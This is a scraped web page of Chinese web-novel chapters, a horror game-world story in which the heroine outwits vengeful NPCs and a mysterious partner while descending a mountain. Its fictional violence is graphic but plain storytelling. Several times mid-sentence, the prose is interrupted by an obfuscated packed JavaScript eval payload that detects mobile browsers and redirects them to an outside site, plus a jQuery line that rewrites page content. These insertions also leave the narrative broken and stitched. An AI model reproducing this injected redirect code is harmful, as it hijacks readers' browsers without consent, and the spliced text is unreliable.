林屿看着他指缝间不断流下的鲜血,“这是NPC”——她对自己说。 这个NPC想害她性命。 她手里有利器,而他已经受到重伤。 她可以斩草除根,抹除这个副本里的威胁来源之一。 “这是什么?”黄瓜摊主看着递过来的东西。 “纱布。” 黄瓜摊主狐疑地接过去,往伤口处缠了几圈,一边观察着她的反应,见她没有其它动作,忍不住小声嘀咕了一句,“刚才下手那么狠,怎么现在就良心发现了……不过还是谢谢你。” “刚才我不狠一点已经被你们两个联手杀了。” “我那不是因为……”他反应过来,连忙止住口。 “因为什么?”林屿晃了晃手中的利刃,“你不说的话,恐怕走不了。” 黄瓜摊主勃然变色,“你果然是个心狠手辣的人!” “拜托,你们NPC集体坑害玩家,受了点伤竟然好意思倒打一耙?”林屿挑眉,“放了你可以,回答我的问题。” “这是小伤?”黄瓜摊主气得跳脚。 “和你想要我摔断骨头的伤差不多。”林屿回答,没有理会他辩解“那是那个人自作主张与我无关”的话,直截了当地问道,“组队以后你们必须先杀死搭档,才能去害那个最想害的人?” “你怎么知道?”黄瓜摊主瞪大了眼睛,随后自言自语,“也对,那些人表现得那么明显,你看出来很正常。” 林屿幽幽地看了他一眼,这一点是方才诈仲腾诈出来的,而有这个推测,完全是因为他们的行动——动手的不是想害她的NPC,而是与他组队的玩家。 “如果没有搭档,就可以随意攻击玩家?” 那个土味男子是没有被任何玩家选择为搭档的,他的目标是蓝虹蝶,但他的落石范围非常广,已经能给其他玩家造成致命伤害。 黄瓜摊主愣了一下,随后点头如捣蒜。 “所以是——规则出了漏洞?居然安排这样一个定时炸弹般的角色增加难度。”林屿盯着他的眼睛,“还是说——多了一个人?” 刀尖缓缓移到脸上,黄瓜摊主露出苦色。 “多了一个你。你是活人?” “我……”他张口。 “不要撒谎,你也不想完整的脸上少了什么吧?”林屿说着,一边用竹叶刀在他的脸上比划,一边觉得自己表现得像个变态。 她需要知道这个问题的答案。 “是,我是活人,在这个副本里。”黄瓜摊主汗流浃背地回答,“你是怎么看出来的?” “因为只有你在卡牌上的形象是活着的时候,他们都是死后的模样。而且,你除了讨人厌一点,对玩家没有表现出太多执着。” “真是谢谢你的赞美。” “所以是谁?”林屿忽然问。 “什么?” “谁帮了你,让你加入到他们之间?” 他的嘴唇蠕动了几下,“没、没有谁,我自己忽然觉得他们的游戏有趣,所以想办法加了进去。” “什么办法?” 黄瓜摊主嗫嚅着说不出缘由。 林屿收回刀,“你去告诉他,如果在下山之前没有看见他,我就向系统举报你们的违规插手副本,更改任务难度的行为。” 黄瓜摊主一脸苦色。 林屿往回走。她处理两人花了不少的时间,何芝和蓝虹蝶这么久都没有找过来,说明她们遇到麻烦事了,可能是在躲避的时候被石头砸中或者晕了过去,也可能是和她一样的情况——NPC开始动手了。 她瞥了一眼奋力扭动身子,想要挣脱手脚上绳索的仲腾,直到他察觉视线后僵住,在他有苦说不出的目光下加固了捆缚,这下背包完全被拆散,没法用了,不过林屿已经用掉了瓶装水,不需要背什么了。 “同样是玩家,何必 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“……然后你就走了,你为什么不干脆杀了我,你知道我是怎么死的吗?” 何芝没有回答,她继续谨慎地保持着距离。 “……不是失血过多,不是饥寒交迫,也不是来了一只猛虎或者一群狼——景区里哪里有这些?我是被一群嗜血的、对正常人根本造不成威胁的小动物,一口一口吃进了肚子。” 他说着,面部与露出的脖颈、手掌、手腕上不再光滑平整,身上的皮肉一小块一小块掉落下来,露出了仿佛情景重现一般的、死前的真面目。 “……你知道那种感觉吗?”他又上前一步。 何芝往后退一步,什么东西擦过小腿肚,极快,带着毛发的触感。 “……一口一口,在你筋疲力竭、无法反抗的时候,一口一口,咬下你的面皮,剖开你的肚子,肠子、肾脏、肝脏、胃、肺,直到把心脏咬坏,你才终于咽下最后一口气。” 她的腿忽然被什么东西咬了一口,尖锐的疼痛传来,紧接着视线中跑过一群毛茸茸的动物,大概一条手臂的长度,黑黄相间,耳朵滚圆。 是臭鼬。 “……现在,该让你也尝一尝我当初的痛苦了。”柔弱少年的手上不知何时多了一个尖锐的石锥,他举起来,抬腿向何芝跑去。 一旁的蓝虹蝶惊恐地看着这一幕,想要帮助她,或者逃离现场,然而她却一步也动不了——有一双手将她的脚牢牢拘束在一起,无法迈开步伐,而她的两只手也被一双没有手的手臂和一双没有脚的小腿缠在一起,大腿压制住她的肩膀,而头颅停的断口停在她的肚子上,和地上支起头的她面对面。 “你、你想做什么,我可没有害过你啊!” 蓝虹蝶只觉得身心都受到了强烈的刺激,全身被尸块包裹,阴冷的感觉渗入骨髓,几乎将理智都冻僵,她的肚子上还放着一颗头,本来就敏感的部位能够区分出颈骨和颈肉的触感,就好像这东西是长在那里的一般,而且这颗头还在对她笑! “呜呜呜呜呜……”她疯狂地扭动身体,想要把身上的东西甩开。 “嘻嘻。”邻家女孩嬉笑着,“你没有害我,但是我想要害你啊!” 她的声音陡然阴森诡异,“就像我没有想害他,而他却害了我!” “呜呜呜呜呜——”蓝虹蝶眼泪都飙出来了,她一点也不想以这个状态听NPC把死亡原因加过程加感受再讲一遍,而且说不定讲完就轮到她被迫体验一遍这个流程了。 她宁愿去体验冗长推诿纷繁复杂的财务报销流程! 然而邻家女孩可不理会她的意愿,就把蓝虹蝶的肚子当做存放头颅的温暖港湾,自顾自地讲述起来。 “跟着你们的那个人,以前可是我的邻居呢。他考上了好大学,爸爸妈妈经常说夸他,说他成绩好,读书认真,让我和他学习……我升初三的时候,正好他放暑假回来,成了我的补课老师……” “他、他是不是对你做了什么,是不是杀了你,然后分、分尸?”蓝虹蝶声音颤抖地接过话。 “你竟然能猜到嘛……”邻家女孩撇了撇嘴。 19. 第十九章 “林屿!”蓝虹蝶惊喜地喊道,随后目光被她手里的“东西”吸引了,“这、这是……” “害了你的人。”林屿拖着嘴被堵住的仲腾对邻家女孩说道,“他就在你面前了,任你处置。” “呜呜呜呜呜!!!”仲腾疯狂扭动,就像之前的蓝虹蝶一样,然而他做这个动作似乎一下子激发了邻家女孩的凶性,手啊腿啊这些压制住蓝虹蝶的东西瞬间飞扬起来,呼啦一下子把仲腾盖了满身,连原先没有用到蓝虹蝶身上的被切碎的躯体都附着过去,一双手卡在他的脖子上,把他卡得直翻白眼。 这个造型看上去非常掉san,林屿在邻家女孩身上看见了一股往外冒的黑气。 随着她的用力,身上的黑气也越来越多,但是身形却隐约变得透明。 “虽然你认为我们是害了你们的人,我们也当做自己是害了你们的人,但实际上我们不是,我们与你们没有任何关系。”林屿说道。 “什么意思?”蓝虹蝶一脸劫后余生地从地上爬起来时就听到这么一句。 “因为这里是副本,考验我们的地方,我们在这里的身份是被赋予的,而不是真的,所以那些事也不是真的做过,可她还有其他NPC对此坚信不疑。” 林屿走到被肉块盖满身体的仲腾身边,问女孩:“你确定没有认错?这是你第几次找到害你的人?” “就是他!我怎么可能认错!”虽然这样说,女孩眼神里的仇恨松动了,她的头上上下下地检视着仲腾,口中低声且急促地重复着,“就是他!怎么可能不是他?我没有认错!我怎么可能杀一个人几次?这是我第一次找到这个人……第一次?第几次?我好像……” 在仲腾恨不得晕过去的的表情中,女孩的头看着他的面孔,然后飞远了一点,眼里透出一点茫然,身上蒸腾的黑气变得浅淡,躯体的透明程度不再加深。 她的脸上闪过各种各样的情绪,迷茫、仇恨、愤怒、不解、迷惑,一时没有再继续迫害仲腾,林屿这时余光看见动静,“前面情况不妙,我们去救何芝!” 蓝虹蝶如梦初醒,连忙应声,“好!” 十步开外的地方,柔弱少年已经把何芝压在地上,手中高高地举起尖锥向她的眼睛插去,何芝膝盖用力向上一顶,少年腹部受力,吃痛之下重心不稳,向一旁倒去,何芝就要趁机翻身而起,然而刚撑起手,手腕便被狠狠地咬了一口,先前在一旁伺机而动的臭鼬扑了上来,脚边的几只也开始撕咬裤脚小腿。 拉扯间,柔弱少年重新稳住身形,将她的双腿压制在地,手里的石锥没有犹豫地向她捅去,何芝将扑到脸颊上的臭鼬扫到一旁,却来不及逃脱少年的袭击,只好抬起手臂挡在眼前。 疼痛迟迟没有传来。 何芝听见臭鼬扑过来的响动,挥开手臂,尖锥悬在上方,直指眼球,少年满面狰狞地“看”着她,却不知为何没有下一步动作。 “何芝!你没事吧?” 她闻声转过头,看见林屿两人合力将少年搬到一旁,而他的姿势竟然没有随之改变。 先前凶猛的臭鼬被笼罩在新加入的两个人类居高临下的阴影下,前爪扒地,叫了两声,竟然转身逃走了。不知是不是因为主要NPC已经被定住的原因。 林屿问何芝,“你之前说有绳子,可以拿出来吗?” 柔弱少年被绑了起来,接近两米的麻绳,直接将人捆成了粽子。 捆人的时候,何芝看见他的后脑勺戴着一个蓝色蝴蝶发夹——正是蓝虹蝶头上那个,顿时明白了少年不能动弹的原因。 “很不错的技能。” 蓝虹蝶不好意思地摸了摸鼻子,“只能定住十分钟,还是很有限制的。” “你们没有受伤吧?”何芝问道,随后注意到了不远处的情况,露出戒备的神色,“那是什么,他们是怎么回事?” 林屿回过头,挑了挑眉,原本躺在地上的人已经“站”了起来,说是站也不对,他的手脚仍然受缚,脚面并没有贴地,脚尖微垂,像是被吊在空中一样。 只不过,乍眼看上去能把人吓一跳,女孩的手脚胳臂和肉块仍然贴在他身上,脖子放在他的肩膀上,直直盯着他看,像是一个浑身肉瘤的双头人长出七八只手脚,看轮廓是个能止小儿夜啼的怪物。 仲腾仍然被背包上的破布条堵着嘴,已经一脸麻木绝望。 “仲腾是那个NPC的仇恨对象,只不过规则要求他们杀死搭档后才能杀死仇恨的人,现在她虽然控制住了仲腾,却不能把他怎样。”林屿看了看挣脱不开绳子的柔弱少年,“而你与你的搭档正好是仇恨与被仇恨的组合,所以他不会对别人动手。” 何芝盯着被裹住的仲腾看了一会儿,最终移开了目光。 “现在怎么办?”蓝虹蝶低声问两人,“我们要趁机偷偷溜走吗?等那个NPC回过神来就该来害我了!” 何芝没有表态,看着林屿。 心里知道这是想听自己的意见,同样是想在这个副本考验自己这个新人的能力,林屿想了想,说道:“最好不要逃走。” “为什么?”蓝虹蝶有些着急,“她看起来好可怕!” 林屿没有回答她,而是直接走到女孩面前,“你想起来了吗?这样的事已经重复了几次?” 女孩的头从后脑勺转过一百八十度,没有说话,面无表情地看着林屿。 “如果想不起来也没有关系,你可以带着他跟着我们走,这样你的两个目标都在你身边,想明白以后就可以下手。” “我去!”背后传来小声惊呼,“林屿你竟然把我卖了!” 林屿没有回头,继续循循善诱道:“你也是横遭不测的受害者,知道遭遇这种事会有多么痛苦,如果找错了人,那么一个无辜者也就成为了过去的你,而这一回,你和当年那个凶手做了同样的事,变成了他的模样——你一定不想这样吧?退一步讲,就算你不在意有没有杀错人,但是没有想明白就动手,动手之后心里说不定觉得事情完成了,但是真的仇人还逍遥在外,你甘心吗?你会觉得他就是那个人,说明他和你找的人有相似之处,你可以留着他好好想想。” 女孩盯着她看了好一会儿,“可以,我带着他跟着你们,等我想起来,如果确定是这个人,那就先杀搭档再杀他!” 林屿走回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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林屿在意念中唤出系统面板,反反复复研究了个遍,却没有发现能够联系“客服”或者“系统”的窗口。 这下尴尬了。 根本没法举报。 这回,她可能过不了这个本了。 先前玩家攀爬的地方已经被何芝的技能砸出一个大坑,土味男子和两个保镖被栽倒在大坑的狼藉中,石头下横七竖八地露出裤子破了的腿和缺了鞋子的脚,众人数了数,正好六条。 虽然方才经过一番滚石危机,但陡坡被折磨一砸,竟然折腾出一个倾斜角更小、更容易攀爬的地方,这回几人不费吹灰之力就登上了另外一边,继续下山的行程。 此时,橙红的日光从山林中斜穿透过来,略一抬头就能看见挂在天边的太阳。光线似乎比先前强烈,然而山林的幽深处却逐渐阴森,一阵风刮过,蓝虹蝶搓着手臂,缩了缩脖子,“我们还有多久才能下山?” “看高度,似乎快了。”林屿回答。 说话间,几人顺着小路走入一片密林之中,光线一下子昏暗下去。 20. 第二十章 说是密林,道路两旁却并不是参天大树,大约只有两人的高度,然而它们冠层致密,枝繁叶茂,在勾勒出的轮廓内填满密不透风的阴影,像是一个个深绿色的巨人,肩并肩腿挨腿地站在路旁,沉默地注视着唯一一行人,给了玩家极大的压迫感。 三个玩家没有说话,只有仲腾时不时地呜呜出声,蓝虹蝶几次回过头去看他,露出犹豫的神色,几乎开始心有不忍:他看起来似乎很可怜,现在也威胁不到她们了,要不要把堵嘴的破布拿出来呢?她询问的眼神投向两个同伴,忽然听见林屿先一步问道:“你还记得当初是怎么被拉进这里的吗?” 蓝虹蝶一愣,忘记了正要说出口的话,皱着眉头开始回忆,“我有点记不太清,当时好像是周天晚上,我还在一边追剧一边熬夜写项目书一边玩游戏……” 林屿佩服地看着她,原来身边就有一心三用的能人,而且她竟然只在第二件事上加了熬夜…… 她提醒道:“是玩的什么游戏?卡牌、经营、策略、射击还是乙游?” “游戏?和游戏有什么关系?虽说我玩的是乙游。”蓝虹蝶迷惑地看了她一眼,随后眼神一亮,“我想起来了!是我搜索资料地时候不小心点进了一个小破网站,然后就到这里了!可恶的网络病毒……” 林屿顿了顿,“你确定是这个原因吗?” 蓝虹蝶笃定点头。 “那你有问过其他玩家是怎么被拉进游戏的没有?” “千奇百怪,什么都有,不过基本上都是你说的那些,各种各样的游戏。” 林屿心情复杂,“那你有怀疑过什么吗?比如你进入游戏的原因或许不是小破网站。” 蓝虹蝶面上闪过迷茫,“不是小破网站,那会是什么,我就是在点进去之后才倒霉地被拉进来的。” 林屿沉默了,她就没有怀疑自己的结论吗…… “看左边。”何芝忽然说道。 左边并排的树木出现一个缺口,而下方是陡崖和清澈的溪水,只不过透明的水流被染上了丝丝缕缕的鲜红。这条路又将她们带回了这片峡谷,而水流上方,先她们一步的那个神龙不见尾的同伴头朝下趴在石子河床上,脸部浸没在水面以下,身形扭曲,像是全身的骨头都已经碎掉了。 他明显已经遇害了。 而这样的死状和他的搭档印在卡片上的形象一模一样! 蓝虹蝶的惊呼卡在喉咙里,咽下去,最后在腿肚撞击出阵阵回音的幅度,她发着抖,惊恐地后退一步。这个破游戏说是没有死亡,却在想方设法折磨着所有被卷进来的人,每当看到一个受到伤害的玩家,她都恐惧无比,想着这件事发生在自己身上的时刻,每一回,她都无法把看到的痛苦忘记,直到这种痛苦跟随她沉入冰山下的潜意识,又在每一个梦境中显露狰狞。 “走,走吧,快走!”她语无伦次地说着,忽然手臂感受到温热的触感。 林屿扶住了摇摇欲坠的她,让她转了个身,而何芝上前一步挡住了她回头看的视线,“我们离开这里。” 对面的山崖上窈窕的身影一晃而过,林屿目光顿了顿,“现在又有了一个可以随意出手的NPC。” 众人心头皆是一凛。 蓝虹蝶扭伤的右腿隐隐作痛,恐惧放大了时间的感知,脚下的路面无穷无尽,身旁的密林沉默阴晦,天边的太阳低下沉重的头颅,黑暗的预兆挤压着她们心中的希望。 奔跑。 向下奔跑。 不能被恐惧吞噬。 山下就是希望。 注意集中在脚下,可精神又紧张到极致。山林的伴奏是有规律的树叶摩擦声,和耳朵里“咚咚”的心跳一起成为伴奏的鸣响,这曲与时间赛跑的音乐里,细微的杂音立刻捕获了玩家的注意。 “嘎吱”,“嘎吱”。 好像有什么东西在不远处发出令人牙酸的声音。 林屿循着声音,看到右边拱卫的树林露出缺口,缺口下骤然陷落,下方垂直甚至内陷的断崖上缠绕着尖锐多刺的灌木,一直通往深不见底的地方。 她们还在山腰? 不,不对,从其它角度的判断来看,她们已经接近山脚。 可为什么这里有那么深的悬崖,仿佛有什么恐怖的存在从此处劈下了一刀,留下大地的裂痕。 不知不觉间,林屿着这个地方驻留了半分钟,忽然感觉到头顶有什么东西拂过。 一截绳子从上到下地套下来,另一头拴在高高的歪脖子树上,垂下来的绳套如同张开两翼的眼镜蛇一般咬合过来。 它扑了个空。 林屿仰躺在地,鼻尖上方是竭力伸长的绳套,“嘎吱”,“嘎吱”,绑在树上的绳结拉伸到极致,几乎将枝条压低到了极限。 她一个翻滚离开了绳套的范围,回到大路上追赶同伴的脚步。 心脏在胸腔中鼓噪着,血液奔流,冷汗转为炽热。她似乎在为刚才那一场近乎丧命偷袭后怕,又似乎不是在恐惧。 他来了。 他带着杀死她的目的,即将到来。 她赌对了——这一个似乎不受任何约束的异类,害怕被系统发现他的存在。所以在她通过黄瓜摊主说出那番话后,他感受到了威胁。 “刚才你去哪里了?”林屿再次跟上队伍的时候,何芝发现了她身上的狼狈,将肩上扛着的“柔弱少年”往上提了提,压制住他的挣扎。 “遇到了一点埋伏,我的搭档——他出手了。”林屿竭力平复心跳,“如果你们看到挂在树上的绳索,千万不要靠近。” 经过几番遇险,所有人都提高了警惕,她们断然不会再靠近任何一个可疑的地方,可那无处不在的窥伺却不会放过任何一个猎物。 太阳几乎要触到地平线,所有人都气喘吁吁,汗流浃背,然而所有人都感受到了那股来自内心的寒意,奔跑的热度已经抵不过骤降的温度,没有人再怀疑入夜以后会发生的事,她们必须在天光未暗之前结束这个副本。 蓝虹蝶颤抖着声音,“你们看那是什么?” 就在路面左侧,林木的围合再次出现缺口,露出那条令人眼熟的,潺潺流淌的小溪。碎石河床上,没有水流冲刷的地方还残留着斑驳暗红的痕迹。 只是这一次,却不见尸体。 蓝虹蝶颤抖着声音,“是不是有、有人被害了?” 何芝:“我们四个玩家都在这里,只有睦忻州没和我们一起,如果先前趴在水里那个人真的是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“快回来!那里很危险!”蓝虹蝶走身后喊道。 “正因为这里是最危险的地方,才最有可能藏着什么,你说得对,我们快没时间了。”林屿头也不回,看到了倒吊人的脸,冷汗一下子流了下来。 那是一张狰狞扭曲,和睦忻州一模一样的脸。脸上已经青灰僵硬,泛起死尸的尸斑,原来他早已经死去。 忽然间,尸体睁开浑浊邪恶的双眼,恶毒地瞪着来人,林屿下意识地后退半步,却看见有什么东西从尸体上掉下来了。 脚面上传来异样的触感。 她低下头,看见一张血肉模糊,覆盖着黑色毛发的圆形肉皮裹住了鞋面。 滴答,滴答,红黄的液体从血红的头骨上滴落,“睦忻州”嘴角咧开,露出毛骨悚然的,倒置的狞笑。 蓝虹蝶尖叫出声,一块石头飞向不断接近林屿的尸身,霎那间血肉飞溅,却没有沾到她的身上。 她已经被脚上的东西扯到高空之中,头朝下地悬挂在半空,成为新的一个“倒吊人”。 21. 第二十一章 失重感。 全身的血液逆流到头顶,像一块沉重的巨石,塞住了七窍的感知。 呜呜的风像是从遥远的地方刮来,眼前阵阵发黑,脚腕被拉扯向上,而全身的重量想要落地,相反的力量让关节发出咯吱的悲鸣。 她被向上、向后拖拽,高高提起,前后晃动。倒置混乱的视线之中,林屿看见了他。 藏在离缺口不远的密林之间,脚下是让人不明白为何存在于此的,大地裂隙般的深谷。 何芝在缺口处,焦急地和邻家女孩说着什么。 她看见女孩从仲腾身上撤下两只手,漂浮着接近她。 那个人的面容因为距离模糊不清,可林屿知道他在看她,就像她知道那个人是他。 她的威胁见效了,虽然与想象中的反应大相径庭,但结果都是一样。 他来找她了。 不是以任何能够预料的方式,不带任何目的的掩饰。 ——只有冰冷与炽烈的杀意。 有趣…… 她好久没有遇到过这么有趣的东西了! 内心隐没的一角似乎有什么东西浮出冰山之外,在往身体里胀满一种名为求知欲的东西。这本来应当是极为冷静的情感,却如爆裂的岩浆般充溢在全身的血管,连呼吸都变得滚烫。 他是怎么回事?他不怕被系统发现异常吗?他究竟是一种什么存在,在这个游戏里又是什么身份,扮演什么角色? ——他为什么如此特别? 她死死看向他藏身的地方,看着他隐没在阴影中的身体,若隐若现的面容,以及似乎能发出光亮的,金棕的眼瞳。 贺望。她张口无声地说道:你究竟是什么东西? 邻家女孩的双手浮到空中,以极快的速度接近,试图夺过头皮的控制权把她拉回地面,然而头皮裹着她的右脚,骤然加速向后,再次拉开距离。 那双手不依不饶,继续接近,速度甚至更胜一筹。 头皮停住了。忽然间,它展开形同双翼的皮肉,如猎鹰捕食般俯冲到已经的手掌面前,将它们死死包裹在内。 手掌在挣扎,头皮上鼓起一个又一个五指的纹路,它们极快地出现,又极快地消失,像是里面藏着一个人,而那个人在拼命拍打一块韧性极强的橡胶。 林屿如同断了翅膀的风筝,以极快的速度向下坠落。 天空上的一幕惊呆了众人,她们完全没有想到事态竟然以这种方式情转直下,救援失败也就罢了,然而一切都发生在几十米的高空,她们的同伴被遗落在晦暗的天空之上,却没有一双飞翔的翅膀。 “快想想办法!”蓝虹蝶的技能还能使用,然而她与技能次数用尽的何芝一样陷入了无从施展的绝望,这一路危机都相互扶持着趟过,难道却要在这里,离成功近在咫尺的地方,失去一个患难与共的同伴吗? 可有些事情并不以人的意志为转移,不然一旁的仲腾早已挣脱开了身上的束缚,林屿也早就实现自我救援。 她在不断地坠落,飞速地坠落。 眼底倒映的景物极快地变幻着,从还剩一小半露在天外的灰橙色夕阳,浓绿深邃的密不透风的树冠,到再次求助邻家女孩的同伴,摇头拒绝的NPC,和冷眼旁观的始作俑者。 视线被岩石土块淹没,她坠到了山崖之下,烈风如同刀割,隆隆的声响撼动鼓膜。 林屿在失重的眩晕中仰起头,勉力看向下方。 一片深不见底的黑暗张开血盆大口,无声无息,趴伏在谷底,在这条裂缝之中,等待着迷途羔羊。 她的心底无法抑制地,仿佛本能般地升起一股寒意。 高高的山崖之顶,裂隙彼端,那个神秘的始作俑者垂下视线,似乎想要亲眼目睹她的结局。 林屿看见他身影出现的那一瞬,忽然咧开一个无声的笑容。 她等待这一刻很久了。 技能“飞行”。 瞬间被催动到极致。 她从来没有这样肆无忌惮,不顾后果地使用过这个技能。 理由太多了,比如她需要时间适应电影里的故事发生在自己身上的现实,比如这才是她的第二个副本,她很难找到机会全方位摸索它的机制,比如超过能力地使用会带来不适的感受,她害怕造成不可逆转的损伤。 但是她不想认输。 她不愿在与他的交锋中落到下风。 毕竟,她是真起了将他由表到里,由内到外剖开研究的心思。 她的背后展开无形的波动,这和以往任何时候的感觉都不一样,她试过用它来辅助跳跃、短暂滞空,或者加快躲避速度,却完全没有尝试过它真正的用法——“飞行”。 肩胛骨内侧似乎连接上了两片轻盈的翅翼,只需要一个意念,它们便与无处不在的引力展开殊死搏斗,几番奋力的尝试,林屿很快止住了下坠的趋势,逃出了深渊巨口的舌尖。如同受到童话里仙女魔法的赐福,从幽深的黑暗中觉醒,带着粉碎阴谋的使命。 她扇动翅膀,加速上飞,以赶超重力加速度的势头沿着来时的路线回归,如同一支刺破天空的利箭。 她的目的却没有天空这样高远。 林屿手指间露出一抹翠绿,在贺望错愕的眼神中,以迅雷之势疾飞到他面前,手中的竹叶刀狠狠插向他的胸口。金棕色泽包裹的瞳孔缩成极小的一点,他似乎受到了巨大的冲击,眼见着可以享用胜利的果实,欣赏敌手的狼狈,形式却以没有想过的方式逆转,眨眼间他成为了那一个更加狼狈的人。 林屿压着他翻倒在地,竹叶刀捅进他胸口正中,去势猛烈,两人在地上滑出一段距离,她趴在贺望身上,手指用力地抓紧他的肩膀固定身形,猜想他的脊背是不是已经磨破。 拿刀的右手忽然感受到力道的松动,林屿定睛一看,叶片竟然断成两半,一半握在她的手上,一半留在他的胸口,然而大半部分都露在外面。 她回忆起方才捅刀的手感,面色微变,他的防御竟然如此坚固!这是他的技能?是他穿行多个副本有恃无恐的原因?NPC也会有技能?来不及细想,林屿丢开刀柄,双手卡住他的脖子,用力下压。 “收起你的小把戏,让我的同伴下山!” 贺望的胸口冒出些微的血色,染红了刀尖四周,但也仅止于此,他仰倒在地上,就像真的失去了反抗的能力,目光定定地看着她,像是要把这张脸刻进记忆,以供之后天涯海角地追杀。 “她们已经过来了。”他说。 “林屿!”“你怎么样了?刚才急死我了,呼……” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14495263|154808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >何芝和蓝虹蝶已经赶了过来,她们来得匆忙,柔弱少年被拎着领口,脸朝地地拖行,嘴里口齿不清地骂着,邻家女孩和仲腾组合体落在最后,她刚收回两个手掌,珍惜地将它们埋进尸块深处。仲腾感受到紧贴着前胸后背的东西,脸色更苦了。 太阳还剩一个头顶露在外面。 林屿没有解释,维持压制的姿势,转过头看着他冷冷地说道:“跟我们走,不然我向系统告发你。” 他真像个怪物,那么锋利的刀都不能伤及他的内里,武力恐怕对他效用有限,尤其是自己这样孱弱的武力。 但是,谁让她知道了他的弱点呢? 虽然她找不到联系系统的方式,根本没有办法利用这个弱点,但他不知道。 “好。”他说,配合得不可思议。 林屿松开手,从他身上离开,无声地笑了笑:又发现他的秘密了。 他不知道玩家面板的功能。 他不是玩家。 她们几乎是以百米冲刺的速度跑到山脚,这回再也没有遇到任何阻碍,贺望跟随着林屿,没有再做什么。 他的筹谋已经失败,想要在被她发现之前让她受挫,但是这一切现在失去了意义。他的一切异常,只会加重她的筹码,而她即使失败或死亡,也只不过是在小黑屋里度过短短的几天。 山脚下,一扇铁制大门拦住去路,焊接成门的黑色空心铁管上锈迹斑斑,透过它的能够看到大门另一边的景色——一片空无,白茫茫的世界。然而所有玩家都松了一口气。 白色是系统空间的象征,玩家休息区,白塔,以及部分副本的边界,都是空无的白色。它出现在这里,含义已经很明显了:跨过铁门,结束副本。 太阳终于完全沉没在地平线以下,身后的山路一下子被黑暗吞没,连空气都散发着令人毛骨悚然的寒意,黑暗并不均匀,似乎有无数双潜藏的,窥伺的眼睛。 只有大门前的一小块地面还处在太阳落山后昏暗的光线里,而这片立足之地在缩小。 留给玩家的时间不多了。 邻家女孩默念了一路“是他,不是他”,这个时候眼里的浑浊散去了些许,她再次仔仔细细,从上到下地将仲腾看了一遍,终于确认地说道:“你不是他,不是那个人。” 属于躯干的尸块,被从关节砍开的手脚,还有那颗最吓人的头颅都从他身上撤走,重新组合成了完整的邻家女孩的模样,她露出一个天真无邪的笑容,对林屿说道:“我似乎想起了一些东西,谢谢你,幸运又不幸的旅人。” 仲腾身体一轻,双脚触到了地面,他竟然在最后一刻受到好运眷顾,被这个诡异的NPC“无罪释放”,几乎要喜极而泣,哆嗦着双腿站稳以后,先众人一步,头也不回地跨过铁门,冲到对面。 他转过身得意地对三人笑了笑,神态狂喜,“再见,谢谢你们的顺风车!让我捡了好大一个漏!” 他的身体渐渐透明,明显处于脱离的进程中。 就在仲腾得意洋洋于自己逃脱诡异副本和玩家报复的时刻,他像是听到了什么意料之外的事,面色突然变得难以置信,惊慌无比,随后消失在众人面前。 三人对视一眼,惊慌的神色传染到蓝虹蝶脸上,“怎么回事?这里不是正确的出口?” 22. 第二十二章 这个推论几乎让三人紧绷的精神雪上加霜,“应该不会。”何芝沉吟道,“从头到尾只有一条路,除非我们遗漏了重大线索。” “我有一个猜测。”林屿说道,“我们需要和搭档一同通过这一道门,才会被系统判定成功通关,否则便会失败。” “副本应该不会发布无缘无故的任务,让我们选择搭档,难道只是选择NPC出手的优先顺序,会不会过于简单了?但这点只是一些模糊的佐证,我有这个猜测的主要证据是——” “是什么?”蓝虹蝶口快地问道,“你能确定这个推测吗?” 林屿看向贺望,弯起眼笑了笑,“我的搭档和我有些小过节,如果有什么是他一定会做的,那就是不让我通关,他从一开始就避免了露面,甚至在我看破了小把戏之后也没有出现在我面前,好像对害我这件事没有兴趣一样。虽然最后苦心谋划了一个计策,但是任何事情都不会有百分百的概率,他显然更希望把我丢下峡谷,如果不成功,还有一个隐秘的后手,那就是让我一个人走到这里,在最后结算的时刻因为没有达成条件通关失败。” “当然,这些都是我的猜测,你们不一定要相信,不过,我可以给你们探探路。”林屿说着,向贺望伸出手,“我的搭档,你愿意和我一起跨过眼前这扇门吗?” 这个身份成谜的NPC自从被林屿反将一军拿捏弱点以来就配合得不像话,最初的惊异过后,他的脸上没有再露出什么表情,显得捉摸不透。林屿方才当着他的面使用“他”这个代称来分析他的意图时,他也没有露出任何被看轻的愤怒。此时听见邀请,他只是把目光投向她,没有说话。 “啊呀!”蓝虹蝶的脚后跟踩空了,她差点向后栽倒,幸而何芝眼疾手快拉了她一把,让她向前几步,脱离逼近的黑暗。但她仍然出了一身冷汗,后背还残留着冰冷到恐怖的触感。 就在林屿等待搭档抉择的片刻间,何芝提着柔弱少年率先通过了铁门,她转过身来面对两个同伴说道:“我认同你的判断,这也是我一直把这个危险的NPC带上的原因,但事无绝对,如果我摇头,说明通关失败,你们还有一点时间再想想问题出在哪里。” 说话间,何芝的身体也开始变得透明,在她沉静的目光中,林屿忽然回忆起山顶漆黑的房间外,所有玩家踌躇不前,那个时候她也先自己一步做了第一个冒险的人——她本该按兵不动,考察自己这个新加入者的人品、勇气与能力。 在两人的注视之下,何芝自始至终没有摇头,她似乎听见了什么,露出淡淡的笑容,随后消失在同伴眼前。 “成,成功了?”蓝虹蝶不确定地问了一遍。 “成功了。”林屿说道,“我们也快走吧。” 